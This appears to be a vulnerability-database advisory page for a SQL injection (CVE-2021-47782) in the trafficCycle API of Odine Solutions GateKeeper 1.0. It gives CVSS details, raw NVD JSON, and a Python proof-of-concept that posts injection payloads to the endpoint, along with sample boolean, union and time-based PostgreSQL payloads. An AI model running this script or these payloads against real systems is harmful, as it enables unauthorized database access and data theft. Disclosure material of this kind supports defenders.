Security Vulnerability Report
中文
CVE-2021-47782 CVSS 8.2 HIGH

CVE-2021-47782

Published: 2026-01-16 00:16:21
Last Modified: 2026-04-15 00:35:42

Description

Odine Solutions GateKeeper 1.0 contains a SQL injection vulnerability in the trafficCycle API endpoint that allows remote attackers to inject malicious database queries. Attackers can exploit the vulnerability by sending crafted payloads to the /rass/api/v1/trafficCycle/ endpoint to manipulate PostgreSQL database queries and potentially extract sensitive information.

CVSS Details

CVSS Score
8.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Odine Solutions GateKeeper 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2021-47782 SQL Injection PoC # Target: Odine Solutions GateKeeper 1.0 # Endpoint: /rass/api/v1/trafficCycle/ # Database: PostgreSQL import requests import argparse def exploit_sql_injection(target_url, payload): """ Send SQL injection payload to trafficCycle endpoint """ headers = { 'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } # Payload to extract database version data = { 'cycle_id': payload } try: response = requests.post( target_url, json=data, headers=headers, timeout=30, verify=False ) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" def main(): parser = argparse.ArgumentParser(description='CVE-2021-47782 SQL Injection') parser.add_argument('--target', required=True, help='Target URL') parser.add_argument('--payload', required=True, help='SQL injection payload') args = parser.parse_args() target_url = f"{args.target}/rass/api/v1/trafficCycle/" result = exploit_sql_injection(target_url, args.payload) print(result) if __name__ == '__main__': main() # Example payloads: # Boolean-based blind: 1' AND (SELECT CASE WHEN (1=1) THEN 1 ELSE 0 END)::int=1-- # Union-based: 1' UNION SELECT version(),user(),current_database(),null,null-- # Time-based: 1'; SELECT pg_sleep(10)--

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2021-47782", "sourceIdentifier": "[email protected]", "published": "2026-01-16T00:16:21.320", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Odine Solutions GateKeeper 1.0 contains a SQL injection vulnerability in the trafficCycle API endpoint that allows remote attackers to inject malicious database queries. Attackers can exploit the vulnerability by sending crafted payloads to the /rass/api/v1/trafficCycle/ endpoint to manipulate PostgreSQL database queries and potentially extract sensitive information."}, {"lang": "es", "value": "Odine Solutions GateKeeper 1.0 contiene una vulnerabilidad de inyección SQL en el endpoint de la API trafficCycle que permite a atacantes remotos inyectar consultas maliciosas a la base de datos. Los atacantes pueden explotar la vulnerabilidad enviando payloads diseñados al endpoint /rass/api/v1/trafficCycle/ para manipular consultas de la base de datos PostgreSQL y potencialmente extraer información sensible."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://odine.com/solutions/gatekeeper/", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/50381", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/odine-solutions-gatekeeper-trafficcycle-sql-injection", "source": "[email protected]"}]}}